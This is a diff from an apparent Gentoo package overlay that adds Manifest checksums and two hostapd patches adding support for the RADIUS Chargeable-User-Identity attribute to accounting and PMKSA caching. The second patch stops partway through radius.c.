+AUX hostapd-conf.d 245 SHA256 916f4b14095ee4ec8a510391c883e9f01868e18d79a3d5cbeb13a104a793d45d SHA512 f07a6cd209eca351b8545017c5f025282c3fdea838ca3df49e362571ded43973281ce4ff83984b1299db15ea9b5c21a42cbda91432220af9146bf034e2265c30 WHIRLPOOL 0ab1dbd8e04df9e7b8ae875dfdfdcdd770e4fcb62197bb81e47588a9ecf0b8bb715adbde34f2be82d630fdd536e9f888f463dd12cab0c06220c345b0093a3dd5
+AUX hostapd-init.d 1022 SHA256 a220058841e66a11603df8e968ccc68945f01e1d11c1ae498922d0e01f6fa804 SHA512 0d9d3c69c7b4c50ab08a7633b3b0b2f770647045ba967de628c34bf37644dcae6ef8288cab0fd0508b8ee8eafa8f48bda0d378c5aadbbbc5cde9f5441f7c97a1 WHIRLPOOL e86f507cff5712ff2590f39c58989a379b81feb40cedcd424188e055ac38f772a7bb9c1089efabd6ff104078257aa2a20a82790e17b085c03264d35b6f4e274d
+DIST hostapd-1.0.tar.gz 1327943 SHA256 002e9dcb7e46cf82b5900a2fcf92b30fc8cdfd32a72d7fd4488588f1c013dfcc SHA512 2f189ef3d52099ee249a96820b257f331e0cb601e89dc01c583ec697d5e9a68f6b80c2913bbb4b37f18dc4a218f34ed9deb0357d55509de9d0f58dd60df33a8b WHIRLPOOL 79f0fd8b7f256d69771f8b022e74ee9908a6a613c875392cf151bdada86c077bbf8e88213547efa64c240daf9fb5e5f9bffe2fa5f7f98d5ca27d5d7058f5995a
+EBUILD hostapd-1.0-r4.ebuild 5519 SHA256 c911846537d95e6ce101988af1157ec772d03ce34da0ec6aa657580e4b497852 SHA512 7e01750d68513e33c0ee8848dd6ee851a32cfb500aa0cfae802b7aabaf86b32c2992b229f1f94f345ecc8dc0b4f220483f4b05f9f87b89b6fca8d37b6af0543b WHIRLPOOL 5dffe8e9070db5c2d71b4df1cedf52a7bf3f57308f76b4a13d2c11f6083c0e611c42c389ba9a75e4d15dba93534d18054a4b662b7223cf278de45e3362ca00cd
+EBUILD hostapd-1.0-r5.ebuild 5523 SHA256 61d713f72dae5f93b4cdaf9328edc29bb589ac67221b7ca220e544ae44abebac SHA512 ec9d9a96dcc3ea31529c827fbbe0095fb2e14125c1c35820a588352ecd44c7cef4ce6e590773294501f4d79e7d5ca0ebd2dc3cdf29e221bfc10bab19231d26f8 WHIRLPOOL ba48f2800633aaeb903cacca4830254b80a79079bc89333555dca325654ba94dc74af0e8c83e99f1d0b19c41cdd902a7b209c32dc6c618ed012460c0a037080b
+MISC ChangeLog 20312 SHA256 4a1673cde56f1b7ea1dfd20f0ac702ad3e7e916b84cfdf4f5aa0448d01b13659 SHA512 1c03ba7921beb21500e160aa5abfb867967777f0c4a36e220524bde419a30663a03d38b757c97405a88e1a5a2baf91e27b8022514ae99bdd1b4768ad520ec15e WHIRLPOOL 3c0df927502c29770fcac11fad0a5c655ff05674fc7444fef1e4a68cdbb55b1690efd3b89d3240a978f045d33029be036961a44095173660cfe4d20c3a05918b
+MISC metadata.xml 752 SHA256 78c8bab11c00f4988d677b1f4bf5a66c3221c0f9a3c46cfaf333a8857f250662 SHA512 c9e8749a721896e4b91ee76b9008e8a3e0d58496d804a6ce103fa501ccd0322b18b28f69432babc506a4c97a22c993da11c34946d6b44517b3cbb45f80bf6bde WHIRLPOOL c8cc369fa5d5725617c4143053bef31f34fdc40b9a7c36a082765d5e9afcd12f5b45d567e7ea3e2431dfbbf3378daf05b73aead94978e650e012652e1928d7aa
diff --git a/net-wireless/hostapd/files/cui-20120417.patch b/net-wireless/hostapd/files/cui-20120417.patch
new file mode 100644
index 00000000..702f55c4
--- /dev/null
+++ b/net-wireless/hostapd/files/cui-20120417.patch
@@ -0,0 +1,451 @@
+diff -rupN hostapd-0.7.3/src/ap/accounting.c src/ap/accounting.c
+--- hostapd-0.7.3/src/ap/accounting.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/accounting.c 2011-09-06 21:01:36.000000000 -0700
+@@ -24,6 +24,7 @@
+ #include "ap_config.h"
+ #include "sta_info.h"
+ #include "accounting.h"
++/*#include "eapol_auth/eapol_auth_sm_i.h"*/
+
+
+ /* Default interval in seconds for polling TX/RX octets from the driver if
+@@ -43,7 +44,10 @@ static struct radius_msg * accounting_ms
+ char buf[128];
+ u8 *val;
+ size_t len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI Attribute length*/
+ int i;
++ struct eapol_state_machine *sm = sta->eapol_sm;
+
+ msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST,
+ radius_client_get_id(hapd->radius));
+@@ -82,7 +86,9 @@ static struct radius_msg * accounting_ms
+
+ if (sta) {
+ val = ieee802_1x_get_identity(sta->eapol_sm, &len);
++ printf("GOT ID\n");
+ if (!val) {
++
+ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
+ MAC2STR(sta->addr));
+ val = (u8 *) buf;
+@@ -94,6 +100,30 @@ static struct radius_msg * accounting_ms
+ printf("Could not add User-Name\n");
+ goto fail;
+ }
++
++
++ /*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/
++ if (getSetCui(sta->eapol_sm)){
++ cui=get_CUI (sta->eapol_sm, &cui_len);
++ printf("GOT CUI\n");
++
++ if (!cui) {
++
++ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
++ MAC2STR(sta->addr));
++ cui = (u8 *) buf;
++ cui_len = os_strlen(buf);
++ }
++ if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui,
++ cui_len)) { /*Add CUI attribute to the Accounting Request Message*/
++ printf("Could not add CUI\n");
++ goto fail;
++ }
++ /********************/
++ }
++ /*else { */
++ /* printf ("PROBLEM IN IF\n");*/
++ /*}*/
+ }
+
+ if (hapd->conf->own_ip_addr.af == AF_INET &&
+diff -rupN hostapd-0.7.3/src/ap/accounting.h src/ap/accounting.h
+--- hostapd-0.7.3/src/ap/accounting.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/accounting.h 2011-07-25 19:26:06.000000000 -0700
+@@ -22,6 +22,7 @@ static inline void accounting_sta_start(
+ {
+ }
+
++
+ static inline void accounting_sta_stop(struct hostapd_data *hapd,
+ struct sta_info *sta)
+ {
+diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.c src/ap/ieee802_1x.c
+--- hostapd-0.7.3/src/ap/ieee802_1x.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/ieee802_1x.c 2011-09-06 20:59:54.000000000 -0700
+@@ -899,6 +899,7 @@ void ieee802_1x_new_station(struct hosta
+ * re-authentication without having to wait for the
+ * Supplicant to send EAPOL-Start.
+ */
++ printf("REAUTHENTICATION-EAPOL");
+ sta->eapol_sm->reAuthenticate = TRUE;
+ }
+ eapol_auth_step(sta->eapol_sm);
+@@ -1138,6 +1139,68 @@ static void ieee802_1x_update_sta_identi
+ sm->identity_len = len;
+ }
+
++/* This method is used to Set the CUI attribute Value**************************************/
++static void set_cui(struct hostapd_data *hapd,
++ struct sta_info *sta,
++ struct radius_msg *msg)
++
++{
++ u8 *buf,*cui_identity;
++ size_t len;
++ struct eapol_state_machine *sm = sta->eapol_sm;
++
++ if (sm == NULL)
++ return;
++
++ if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len,
++ NULL) < 0)
++ return;
++ cui_identity = os_malloc(len + 1);
++ if (cui_identity == NULL)
++ return;
++ os_memcpy(cui_identity, buf, len);
++ cui_identity[len] = '\0';
++
++ sm->cui = cui_identity;
++ sm->cui_len = len;
++ printf(" SET CUI %s",(char *) cui_identity);
++
++
++}
++
++
++/* **************************************/
++
++/*check CUI attribute is available in Access Accept */
++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd)
++{
++
++ struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/
++
++
++ size_t i;
++
++ for (i = 0;i<msg->attr_used;i++)
++ { struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i);
++ if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/
++ {
++ printf("CUI Attribute is Available");
++ sm->cuiAvailable = TRUE;
++ set_cui(hapd, sta, msg);
++ break;
++
++ }
++ else {
++ sm->cuiAvailable = FALSE;
++ printf ("CUI is not available in this packet");
++
++ }
++
++
++ }
++
++}
++
+
+ struct sta_id_search {
+ u8 identifier;
+@@ -1298,6 +1361,8 @@ ieee802_1x_receive_auth(struct radius_ms
+ shared_secret_len);
+ ieee802_1x_store_radius_class(hapd, sta, msg);
+ ieee802_1x_update_sta_identity(hapd, sta, msg);
++ /*set_cui(hapd, sta, msg);*/
++ check_cuiAttr (msg,sta,hapd);
+ if (sm->eap_if->eapKeyAvailable &&
+ wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt,
+ session_timeout_set ?
+@@ -1777,6 +1842,27 @@ u8 * ieee802_1x_get_identity(struct eapo
+ }
+
+
++
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value ******************************/
++{
++ if (sm == NULL || sm->identity == NULL)
++ return NULL;
++
++ *len = sm->cui_len;
++ return sm->cui;
++}
++
++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/
++
++{ if (sm->cuiAvailable)
++ return TRUE;
++else
++ return FALSE;
++ }
++
++/*****************************/
++
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx)
+ {
+diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.h src/ap/ieee802_1x.h
+--- hostapd-0.7.3/src/ap/ieee802_1x.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/ieee802_1x.h 2011-07-25 19:43:10.000000000 -0700
+@@ -69,6 +69,13 @@ void ieee802_1x_deinit(struct hostapd_da
+ int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta,
+ const u8 *buf, size_t len, int ack);
+ u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len);
++
++/** definig CUI get function */
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len);
++Boolean getSetCui (struct eapol_state_machine *sm);
++
++/*********************/
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx);
+ const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len);
+diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.c src/ap/pmksa_cache_auth.c
+--- hostapd-0.7.3/src/ap/pmksa_cache_auth.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/pmksa_cache_auth.c 2011-09-06 22:42:00.000000000 -0700
+@@ -142,6 +142,20 @@ static void pmksa_cache_from_eapol_data(
+ }
+ }
+
++/*set to cui in to cache*/
++
++ if (eapol ->cui) {
++
++ entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/
++ if (entry->cui) {
++ entry->cui_len = eapol->cui_len;
++ os_memcpy(entry->cui, eapol->cui,
++ eapol->cui_len);
++ }
++ }
++
++/*set to cui in to cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_copy_class(&entry->radius_class, &eapol->radius_class);
+ #endif /* CONFIG_NO_RADIUS */
+@@ -169,6 +183,25 @@ void pmksa_cache_to_eapol_data(struct rs
+ eapol->identity, eapol->identity_len);
+ }
+
++/*Added to get CUI from the cache*/
++
++
++ if (entry->cui) {
++ os_free(eapol->cui);
++
++ eapol->cui = os_malloc(entry->cui_len);
++ eapol->cuiAvailable=TRUE;
++ if (eapol->cui) {
++ eapol->cui_len = entry->cui_len;
++ os_memcpy(eapol->cui, entry->cui,
++ entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/
++ }
++ wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA",
++ eapol->cui, eapol->cui_len);
++ }
++
++ /*Added to get CUI from the cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_free_class(&eapol->radius_class);
+ radius_copy_class(&eapol->radius_class, &entry->radius_class);
+@@ -180,6 +213,7 @@ void pmksa_cache_to_eapol_data(struct rs
+
+ eapol->eap_type_authsrv = entry->eap_type_authsrv;
+ ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id;
++ printf ("GETTING CACHE ENTRY\n");
+ }
+
+
+diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.h src/ap/pmksa_cache_auth.h
+--- hostapd-0.7.3/src/ap/pmksa_cache_auth.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/pmksa_cache_auth.h 2011-08-07 19:19:44.000000000 -0700
+@@ -31,6 +31,8 @@ struct rsn_pmksa_cache_entry {
+
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /* cui by me*/
++ size_t cui_len; /*Size of the cached cui by me*/
+ struct radius_class_data radius_class;
+ u8 eap_type_authsrv;
+ int vlan_id;
+diff -rupN hostapd-0.7.3/src/common/ieee802_11_common.c src/common/ieee802_11_common.c
+--- hostapd-0.7.3/src/common/ieee802_11_common.c 2010-09-07 08:43:39.000000000 -0700
++++ src/common/ieee802_11_common.c 2011-07-25 17:56:38.000000000 -0700
+@@ -31,8 +31,8 @@ static int ieee802_11_parse_vendor_speci
+ if (elen < 4) {
+ if (show_errors) {
+ wpa_printf(MSG_MSGDUMP, "short vendor specific "
+- "information element ignored (len=%lu)",
+- (unsigned long) elen);
++ "information element ignored (len=%lu)",
++ (unsigned long) elen);
+ }
+ return -1;
+ }
+diff -rupN hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h src/eapol_auth/eapol_auth_sm_i.h
+--- hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h 2010-09-07 08:43:39.000000000 -0700
++++ src/eapol_auth/eapol_auth_sm_i.h 2011-09-06 20:43:46.000000000 -0700
+@@ -75,6 +75,7 @@ struct eapol_state_machine {
+ /* variables */
+ Boolean eapolLogoff;
+ Boolean eapolStart;
++ Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/
+ PortTypes portMode;
+ unsigned int reAuthCount;
+ /* constants */
+@@ -159,6 +160,8 @@ struct eapol_state_machine {
+ u8 last_eap_id; /* last used EAP Identifier */
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI attribute length*/
+ u8 eap_type_authsrv; /* EAP type of the last EAP packet from
+ * Authentication server */
+ u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */
+diff -rupN hostapd-0.7.3/src/radius/radius.c src/radius/radius.c
+--- hostapd-0.7.3/src/radius/radius.c 2010-09-07 08:43:39.000000000 -0700
++++ src/radius/radius.c 2011-07-25 18:41:30.000000000 -0700
+@@ -24,16 +24,16 @@
+ /**
+ * struct radius_msg - RADIUS message structure for new and parsed messages
+ */
+-struct radius_msg {
++//struct radius_msg {
+ /**
+ * buf - Allocated buffer for RADIUS message
+ */
+- struct wpabuf *buf;
++ //struct wpabuf *buf;
+
+ /**
+ * hdr - Pointer to the RADIUS header in buf
+ */
+- struct radius_hdr *hdr;
++ //struct radius_hdr *hdr;
+
+ /**
+ * attr_pos - Array of indexes to attributes
+@@ -41,18 +41,18 @@ struct radius_msg {
+ * The values are number of bytes from buf to the beginning of
+ * struct radius_attr_hdr.
+ */
+- size_t *attr_pos;
++ //size_t *attr_pos;
+
+ /**
+ * attr_size - Total size of the attribute pointer array
+ */
+- size_t attr_size;
++ //size_t attr_size;
+
+ /**
+ * attr_used - Total number of attributes in the array
+ */
+- size_t attr_used;
+-};
++ //size_t attr_used;
++//};
+
+
+ struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg)
+@@ -66,7 +66,7 @@ struct wpabuf * radius_msg_get_buf(struc
+ return msg->buf;
+ }
+
+-
++/*
+ static struct radius_attr_hdr *
+ radius_get_attr_hdr(struct radius_msg *msg, int idx)
+ {
+@@ -74,7 +74,7 @@ radius_get_attr_hdr(struct radius_msg *m
+ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
+ }
+
+-
++*/
+ static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier)
+ {
+ msg->hdr->code = code;
+diff -rupN hostapd-0.7.3/src/radius/radius.h src/radius/radius.h
+--- hostapd-0.7.3/src/radius/radius.h 2010-09-07 08:43:39.000000000 -0700
++++ src/radius/radius.h 2011-07-25 18:44:42.000000000 -0700
+@@ -21,6 +21,45 @@
+ #pragma pack(push, 1)
+ #endif /* _MSC_VER */
+
++/************************/
++struct radius_msg {
++ /**
++ * buf - Allocated buffer for RADIUS message
++ */
++ struct wpabuf *buf;
++
++ /**
++ * hdr - Pointer to the RADIUS header in buf
++ */
++ struct radius_hdr *hdr;
++
++ /**
++ * attr_pos - Array of indexes to attributes
++ *
++ * The values are number of bytes from buf to the beginning of
++ * struct radius_attr_hdr.
++ */
++ size_t *attr_pos;
++
++ /**
++ * attr_size - Total size of the attribute pointer array
++ */
++ size_t attr_size;
++
++ /**
++ * attr_used - Total number of attributes in the array
++ */
++ size_t attr_used;
++};
++
++
++
++
++/***********************/
++
++
++
++
+ struct radius_hdr {
+ u8 code;
+ u8 identifier;
+@@ -201,6 +240,10 @@ void radius_msg_finish_acct(struct radiu
+ size_t secret_len);
+ struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type,
+ const u8 *data, size_t data_len);
++
++/****************************/
++
++/*****************************/
+ struct radius_msg * radius_msg_parse(const u8 *data, size_t len);
+ int radius_msg_add_eap(struct radius_msg *msg, const u8 *data,
+ size_t data_len);
+@@ -238,7 +281,13 @@ static inline int radius_msg_add_attr_in
+ u32 val = htonl(value);
+ return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL;
+ }
+-
++/**********************/
++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx)
++{
++ return (struct radius_attr_hdr *)
++ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
++}
++/**************************/
+ static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type,
+ u32 *value)
+ {
diff --git a/net-wireless/hostapd/files/cui-20120717.patch b/net-wireless/hostapd/files/cui-20120717.patch
new file mode 100644
index 00000000..e6e5e8dc
--- /dev/null
+++ b/net-wireless/hostapd/files/cui-20120717.patch
@@ -0,0 +1,451 @@
+diff -urN hostapd-1.0.orig//src/ap/accounting.c hostapd-1.0/src/ap/accounting.c
+--- hostapd-1.0.orig//src/ap/accounting.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/accounting.c 2012-07-17 18:40:21.000000000 +0800
+@@ -25,6 +25,7 @@
+ #include "sta_info.h"
+ #include "ap_drv_ops.h"
+ #include "accounting.h"
++/*#include "eapol_auth/eapol_auth_sm_i.h"*/
+
+
+ /* Default interval in seconds for polling TX/RX octets from the driver if
+@@ -44,7 +45,10 @@
+ char buf[128];
+ u8 *val;
+ size_t len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI Attribute length*/
+ int i;
++ struct eapol_state_machine *sm = sta->eapol_sm;
+
+ msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST,
+ radius_client_get_id(hapd->radius));
+@@ -83,7 +87,9 @@
+
+ if (sta) {
+ val = ieee802_1x_get_identity(sta->eapol_sm, &len);
++ printf("GOT ID\n");
+ if (!val) {
++
+ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
+ MAC2STR(sta->addr));
+ val = (u8 *) buf;
+@@ -95,6 +101,30 @@
+ printf("Could not add User-Name\n");
+ goto fail;
+ }
++
++
++ /*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/
++ if (getSetCui(sta->eapol_sm)){
++ cui=get_CUI (sta->eapol_sm, &cui_len);
++ printf("GOT CUI\n");
++
++ if (!cui) {
++
++ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
++ MAC2STR(sta->addr));
++ cui = (u8 *) buf;
++ cui_len = os_strlen(buf);
++ }
++ if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui,
++ cui_len)) { /*Add CUI attribute to the Accounting Request Message*/
++ printf("Could not add CUI\n");
++ goto fail;
++ }
++ /********************/
++ }
++ /*else { */
++ /* printf ("PROBLEM IN IF\n");*/
++ /*}*/
+ }
+
+ if (hapd->conf->own_ip_addr.af == AF_INET &&
+diff -urN hostapd-1.0.orig//src/ap/accounting.h hostapd-1.0/src/ap/accounting.h
+--- hostapd-1.0.orig//src/ap/accounting.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/accounting.h 2012-07-17 18:40:21.000000000 +0800
+@@ -22,6 +22,7 @@
+ {
+ }
+
++
+ static inline void accounting_sta_stop(struct hostapd_data *hapd,
+ struct sta_info *sta)
+ {
+diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.c hostapd-1.0/src/ap/ieee802_1x.c
+--- hostapd-1.0.orig//src/ap/ieee802_1x.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_1x.c 2012-07-17 18:40:21.000000000 +0800
+@@ -966,6 +966,7 @@
+ * re-authentication without having to wait for the
+ * Supplicant to send EAPOL-Start.
+ */
++ printf("REAUTHENTICATION-EAPOL");
+ sta->eapol_sm->reAuthenticate = TRUE;
+ }
+ eapol_auth_step(sta->eapol_sm);
+@@ -1205,6 +1206,68 @@
+ sm->identity_len = len;
+ }
+
++/* This method is used to Set the CUI attribute Value**************************************/
++static void set_cui(struct hostapd_data *hapd,
++ struct sta_info *sta,
++ struct radius_msg *msg)
++
++{
++ u8 *buf,*cui_identity;
++ size_t len;
++ struct eapol_state_machine *sm = sta->eapol_sm;
++
++ if (sm == NULL)
++ return;
++
++ if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len,
++ NULL) < 0)
++ return;
++ cui_identity = os_malloc(len + 1);
++ if (cui_identity == NULL)
++ return;
++ os_memcpy(cui_identity, buf, len);
++ cui_identity[len] = '\0';
++
++ sm->cui = cui_identity;
++ sm->cui_len = len;
++ printf(" SET CUI %s",(char *) cui_identity);
++
++
++}
++
++
++/* **************************************/
++
++/*check CUI attribute is available in Access Accept */
++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd)
++{
++
++ struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/
++
++
++ size_t i;
++
++ for (i = 0;i<msg->attr_used;i++)
++ { struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i);
++ if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/
++ {
++ printf("CUI Attribute is Available");
++ sm->cuiAvailable = TRUE;
++ set_cui(hapd, sta, msg);
++ break;
++
++ }
++ else {
++ sm->cuiAvailable = FALSE;
++ printf ("CUI is not available in this packet");
++
++ }
++
++
++ }
++
++}
++
+
+ struct sta_id_search {
+ u8 identifier;
+@@ -1365,6 +1428,8 @@
+ shared_secret_len);
+ ieee802_1x_store_radius_class(hapd, sta, msg);
+ ieee802_1x_update_sta_identity(hapd, sta, msg);
++ /*set_cui(hapd, sta, msg);*/
++ check_cuiAttr (msg,sta,hapd);
+ if (sm->eap_if->eapKeyAvailable &&
+ wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt,
+ session_timeout_set ?
+@@ -1859,6 +1924,27 @@
+ }
+
+
++
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value ******************************/
++{
++ if (sm == NULL || sm->identity == NULL)
++ return NULL;
++
++ *len = sm->cui_len;
++ return sm->cui;
++}
++
++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/
++
++{ if (sm->cuiAvailable)
++ return TRUE;
++else
++ return FALSE;
++ }
++
++/*****************************/
++
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx)
+ {
+diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.h hostapd-1.0/src/ap/ieee802_1x.h
+--- hostapd-1.0.orig//src/ap/ieee802_1x.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_1x.h 2012-07-17 18:40:21.000000000 +0800
+@@ -69,6 +69,13 @@
+ int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta,
+ const u8 *buf, size_t len, int ack);
+ u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len);
++
++/** definig CUI get function */
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len);
++Boolean getSetCui (struct eapol_state_machine *sm);
++
++/*********************/
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx);
+ const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len);
+diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.c hostapd-1.0/src/ap/pmksa_cache_auth.c
+--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/pmksa_cache_auth.c 2012-07-17 18:40:21.000000000 +0800
+@@ -142,6 +142,20 @@
+ }
+ }
+
++/*set to cui in to cache*/
++
++ if (eapol ->cui) {
++
++ entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/
++ if (entry->cui) {
++ entry->cui_len = eapol->cui_len;
++ os_memcpy(entry->cui, eapol->cui,
++ eapol->cui_len);
++ }
++ }
++
++/*set to cui in to cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_copy_class(&entry->radius_class, &eapol->radius_class);
+ #endif /* CONFIG_NO_RADIUS */
+@@ -169,6 +183,25 @@
+ eapol->identity, eapol->identity_len);
+ }
+
++/*Added to get CUI from the cache*/
++
++
++ if (entry->cui) {
++ os_free(eapol->cui);
++
++ eapol->cui = os_malloc(entry->cui_len);
++ eapol->cuiAvailable=TRUE;
++ if (eapol->cui) {
++ eapol->cui_len = entry->cui_len;
++ os_memcpy(eapol->cui, entry->cui,
++ entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/
++ }
++ wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA",
++ eapol->cui, eapol->cui_len);
++ }
++
++ /*Added to get CUI from the cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_free_class(&eapol->radius_class);
+ radius_copy_class(&eapol->radius_class, &entry->radius_class);
+@@ -180,6 +213,7 @@
+
+ eapol->eap_type_authsrv = entry->eap_type_authsrv;
+ ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id;
++ printf ("GETTING CACHE ENTRY\n");
+ }
+
+
+diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.h hostapd-1.0/src/ap/pmksa_cache_auth.h
+--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/pmksa_cache_auth.h 2012-07-17 18:40:21.000000000 +0800
+@@ -31,6 +31,8 @@
+
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /* cui by me*/
++ size_t cui_len; /*Size of the cached cui by me*/
+ struct radius_class_data radius_class;
+ u8 eap_type_authsrv;
+ int vlan_id;
+diff -urN hostapd-1.0.orig//src/common/ieee802_11_common.c hostapd-1.0/src/common/ieee802_11_common.c
+--- hostapd-1.0.orig//src/common/ieee802_11_common.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/common/ieee802_11_common.c 2012-07-17 18:40:21.000000000 +0800
+@@ -31,8 +31,8 @@
+ if (elen < 4) {
+ if (show_errors) {
+ wpa_printf(MSG_MSGDUMP, "short vendor specific "
+- "information element ignored (len=%lu)",
+- (unsigned long) elen);
++ "information element ignored (len=%lu)",
++ (unsigned long) elen);
+ }
+ return -1;
+ }
+diff -urN hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h
+--- hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h 2012-07-17 18:40:21.000000000 +0800
+@@ -75,6 +75,7 @@
+ /* variables */
+ Boolean eapolLogoff;
+ Boolean eapolStart;
++ Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/
+ PortTypes portMode;
+ unsigned int reAuthCount;
+ /* constants */
+@@ -159,6 +160,8 @@
+ u8 last_eap_id; /* last used EAP Identifier */
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI attribute length*/
+ u8 eap_type_authsrv; /* EAP type of the last EAP packet from
+ * Authentication server */
+ u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */
+diff -urN hostapd-1.0.orig//src/radius/radius.c hostapd-1.0/src/radius/radius.c
+--- hostapd-1.0.orig//src/radius/radius.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/radius/radius.c 2012-07-17 18:40:21.000000000 +0800
+@@ -24,16 +24,16 @@
+ /**
+ * struct radius_msg - RADIUS message structure for new and parsed messages
+ */
+-struct radius_msg {
++//struct radius_msg {
+ /**
+ * buf - Allocated buffer for RADIUS message
+ */
+- struct wpabuf *buf;
++ //struct wpabuf *buf;
+
+ /**
